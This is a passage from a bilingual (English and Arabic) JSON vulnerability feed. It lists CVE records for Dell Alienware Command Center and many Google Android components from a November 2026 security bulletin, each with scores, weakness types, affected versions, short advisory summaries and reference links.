للخادم."},"refs":[["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116766","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"absolute-software-secure-access"},{"id":"CVE-2026-91895","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-276","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T19:56:54Z","product":"Dell Alienware Command Center (AWCC)","affected":[["0 – <6.14.54.0","6.14.54.0"]],"title":{"en":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Incorrect Default Permissions vulnerability.","ar":"يحتوي Dell Alienware Command Center (AWCC) في الإصدارات السابقة لـ 6.14.54.0 على ثغرة صلاحيات افتراضية غير صحيحة."},"summary":{"en":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Incorrect Default Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Tampering.","ar":"يحتوي Dell Alienware Command Center (AWCC) في الإصدارات السابقة لـ 6.14.54.0 على ثغرة صلاحيات افتراضية غير صحيحة. يمكن لمهاجم ذي صلاحيات منخفضة ويمتلك وصولاً محلياً استغلال هذه الثغرة، مما قد يؤدي إلى التلاعب بالمعلومات."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities","advisory"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-alienware-command-center"},{"id":"CVE-2026-59044","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:55:10Z","product":"Google Android","affected":[],"title":{"en":"In multiple locations, there is a possible use-after-free due to a logic error in the code.","ar":"في عدة مواقع، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب خطأ منطقي في الشيفرة."},"summary":{"en":"In multiple locations, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة مواقع، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب خطأ منطقي في الشيفرة. قد يؤدي هذا إلى تصعيد الصلاحيات محلياً دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/a4e59da7cad6b445229ae67c0ebed83a7b18dcb5","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59028","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:55:06Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null]],"title":{"en":"In resolveAidConflictLocked of RegisteredAidCache.java, there is a possible permission bypass due to a confused deputy.","ar":"في الدالة resolveAidConflictLocked في الملف RegisteredAidCache.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy."},"summary":{"en":"In resolveAidConflictLocked of RegisteredAidCache.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة resolveAidConflictLocked في الملف RegisteredAidCache.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59014","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:55:00Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In multiple locations, there is a possible out-of-bounds write due to an integer overflow.","ar":"في مواقع متعددة، يوجد احتمال حدوث كتابة خارج الحدود بسبب تجاوز عدد صحيح."},"summary":{"en":"In multiple locations, there is a possible out-of-bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، يوجد احتمال حدوث كتابة خارج الحدود بسبب تجاوز عدد صحيح. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59005","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:53Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In insertInternal of MmsProvider.java, there is a possible multiuser isolation issue due to a missing permission check.","ar":"في الدالة insertInternal الخاصة بـ MmsProvider.java، توجد مشكلة محتملة في عزل المستخدمين المتعددين بسبب نقص فحص الأذونات."},"summary":{"en":"In insertInternal of MmsProvider.java, there is a possible multiuser isolation issue due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة insertInternal الخاصة بـ MmsProvider.java، توجد مشكلة محتملة في عزل المستخدمين المتعددين بسبب نقص فحص الأذونات. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59000","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:48Z","product":"Google Android","affected":[["17",null],["16-qpr2",null]],"title":{"en":"In multiple locations, there is a possible permission bypass due to a confused deputy.","ar":"في مواقع متعددة، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy."},"summary":{"en":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58995","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:46Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In getEntryFileName of ZipFileRO.cpp, there is a possible memory safety issue due to a heap buffer overflow.","ar":"في getEntryFileName من ZipFileRO.cpp، توجد مشكلة محتملة في أمان الذاكرة بسبب فيضان المخزن المؤقت للكومة."},"summary":{"en":"In getEntryFileName of ZipFileRO.cpp, there is a possible memory safety issue due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في getEntryFileName من الملف ZipFileRO.cpp، توجد مشكلة محتملة في أمان الذاكرة بسبب فيضان المخزن المؤقت للكومة. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58994","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:45Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple functions of NfcService.java, there is a possible permission bypass due to a missing permission check.","ar":"في وظائف متعددة من NfcService.java، يوجد تجاوز محتمل للصلاحيات بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In multiple functions of NfcService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في وظائف متعددة من الملف NfcService.java، يوجد تجاوز محتمل للصلاحيات بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58989","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:43Z","product":"Google Android","affected":[["16-qpr2",null],["16",null],["15",null]],"title":{"en":"In setOemUnlockAllowedByUser of OemLockService.java, there is a possible way to bypass FRP due to a missing permission check.","ar":"في setOemUnlockAllowedByUser من OemLockService.java، توجد طريقة محتملة لتجاوز حماية FRP بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In setOemUnlockAllowedByUser of OemLockService.java, there is a possible way to bypass FRP due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في setOemUnlockAllowedByUser من الملف OemLockService.java، توجد طريقة محتملة لتجاوز حماية FRP بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58986","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:41Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In notifyPictureProfileHandleSelection of MediaQualityService.java, there is a possible permission bypass due to a missing permission check.","ar":"في notifyPictureProfileHandleSelection ضمن MediaQualityService.java، يوجد احتمال لتجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In notifyPictureProfileHandleSelection of MediaQualityService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في notifyPictureProfileHandleSelection ضمن MediaQualityService.java، يوجد احتمال لتجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد الصلاحيات محلياً دون الحاجة إلى امتيازات تنفيذ إضافية. لا يتطلب استغلال الثغرة أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58984","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:39Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null]],"title":{"en":"In multiple locations, there is a possible memory corruption due to a use-after-free.","ar":"يوجد احتمال حدوث تلف في الذاكرة في مواقع متعددة بسبب استخدام الذاكرة بعد تحريرها (use-after-free)."},"summary":{"en":"In multiple locations, there is a possible memory corruption due to a use-after-free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"يوجد احتمال حدوث تلف في الذاكرة في مواقع متعددة بسبب استخدام الذاكرة بعد تحريرها (use-after-free). قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58979","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:38Z","product":"Google Android","affected":[["17",null]],"title":{"en":"In canPresent of PresentationController.java, there is a possible permission bypass due to a logic error in the code.","ar":"تجاوز محتمل للصلاحيات في PresentationController.java"},"summary":{"en":"In canPresent of PresentationController.java, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في دالة canPresent من الملف PresentationController.java، يوجد تجاوز محتمل للصلاحيات بسبب خطأ منطقي في الشيفرة. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58975","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:35Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple locations, there is a possible out-of-bounds write due to a missing bounds check.","ar":"كتابة محتملة خارج حدود الذاكرة في مواقع متعددة"},"summary":{"en":"In multiple locations, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، توجد كتابة محتملة خارج حدود الذاكرة بسبب غياب التحقق من الحدود. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58970","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:32Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In deliverResult of AppTimeTracker.java, there is a possible background activity launch due to a confused deputy.","ar":"في الدالة deliverResult في الملف AppTimeTracker.java، هناك إمكانية لإطلاق نشاط في الخلفية بسبب مشكلة Confused Deputy."},"summary":{"en":"In deliverResult of AppTimeTracker.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة deliverResult في الملف AppTimeTracker.java، هناك إمكانية لإطلاق نشاط في الخلفية بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58965","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:28Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In handleAudioEffectBroadcast of MusicFxHelper.java, there is a possible permission bypass due to a confused deputy.","ar":"في الدالة handleAudioEffectBroadcast في الملف MusicFxHelper.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy."},"summary":{"en":"In handleAudioEffectBroadcast of MusicFxHelper.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة handleAudioEffectBroadcast في الملف MusicFxHelper.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58956","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:22Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In modpowF4 of avb_rsa.c, there is a possible signature verification bypass due to a logic error in the code.","ar":"في modpowF4 من avb_rsa.c، يوجد احتمال لتجاوز التحقق من التوقيع بسبب خطأ منطقي في الشيفرة."},"summary":{"en":"In modpowF4 of avb_rsa.c, there is a possible signature verification bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في modpowF4 من avb_rsa.c، يوجد احتمال لتجاوز التحقق من التوقيع بسبب خطأ منطقي في الشيفرة. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58943","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:13Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In run of AddAccountSettings.java, there is a possible background activity launch due to a confused deputy.","ar":"في الدالة run في الملف AddAccountSettings.java، هناك إمكانية لإطلاق نشاط في الخلفية بسبب مشكلة Confused Deputy."},"summary":{"en":"In run of AddAccountSettings.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة run في الملف AddAccountSettings.java، هناك إمكانية لإطلاق نشاط في الخلفية بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58942","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:12Z","product":"Google Android","affected":[],"title":{"en":"In do_fault_around of memory.c, there is a possible use after free due to a logic error in the code.","ar":"في الدالة do_fault_around التابعة لملف memory.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب خطأ منطقي في الشيفرة."},"summary":{"en":"In do_fault_around of memory.c, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة do_fault_around التابعة لملف memory.c، يوجد احتمال استخدام الذاكرة بعد تحريرها بسبب خطأ منطقي في الشيفرة. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/27d9c79c71ceaaee3c31337658a699364ec7d833","ref"],["https://android.googlesource.com/kernel/common/+/019d909caeb85547b9aed2beea73101ea73b958f","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58885","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:05Z","product":"Google Android","affected":[["17",null]],"title":{"en":"In multiple locations, there is a possible permission bypass due to a confused deputy.","ar":"في مواقع متعددة، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy."},"summary":{"en":"In multiple locations, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58884","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:04Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In startTetheredHotspotRequest of WifiServiceImpl.java, there is a possible permission bypass due to a confused deputy.","ar":"في الدالة startTetheredHotspotRequest في الملف WifiServiceImpl.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy."},"summary":{"en":"In startTetheredHotspotRequest of WifiServiceImpl.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة startTetheredHotspotRequest في الملف WifiServiceImpl.java، هناك إمكانية لتجاوز الأذونات بسبب مشكلة Confused Deputy. قد يؤدي ذلك إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58879","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:54:01Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In descramble of multiple files, there is a possible out-of-bounds write due to improper casting.","ar":"في descramble لعدة ملفات، يوجد احتمال كتابة خارج حدود المخزن المؤقت بسبب تحويل نوع غير سليم."},"summary":{"en":"In descramble of multiple files, there is a possible out-of-bounds write due to improper casting. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في descramble لعدة ملفات، يوجد احتمال كتابة خارج حدود المخزن المؤقت بسبب تحويل نوع غير سليم. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال تفاعل المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58871","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:57Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In set_type4_frame_classifier of sta_iface.cpp, there is a possible memory safety issue due to a heap buffer overflow.","ar":"في الدالة set_type4_frame_classifier ضمن الملف sta_iface.cpp، توجد مشكلة محتملة في أمان الذاكرة بسبب فيضان المخزن المؤقت للكومة (heap buffer overflow)."},"summary":{"en":"In set_type4_frame_classifier of sta_iface.cpp, there is a possible memory safety issue due to a heap buffer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة set_type4_frame_classifier ضمن الملف sta_iface.cpp، توجد مشكلة محتملة في أمان الذاكرة بسبب فيضان المخزن المؤقت للكومة. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم للاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58847","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:50Z","product":"Google Android","affected":[],"title":{"en":"In kvm_vfio_pviommu_attach of vfio.c, there is a possible double free due to a logic error in the code.","ar":"في الدالة kvm_vfio_pviommu_attach الخاصة بـ vfio.c، يوجد احتمال حدوث تحرير مزدوج للذاكرة بسبب خطأ منطقي في الشيفرة."},"summary":{"en":"In kvm_vfio_pviommu_attach of vfio.c, there is a possible double free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة kvm_vfio_pviommu_attach الخاصة بـ vfio.c، يوجد احتمال حدوث تحرير مزدوج للذاكرة بسبب خطأ منطقي في الشيفرة. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://android.googlesource.com/kernel/common/+/8c62fa09cc8a04cbaaa5d00b5dcd51279bee3bdb","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58845","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T19:53:49Z","product":"Google Android","affected":[],"title":{"en":"In multiple locations, there is a possible out of bounds write due to an integer overflow.","ar":"في مواقع متعددة، يوجد احتمال حدوث كتابة خارج الحدود بسبب تجاوز عدد صحيح."},"summary":{"en":"In multiple locations, there is a possible out of bounds write due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، يوجد احتمال حدوث 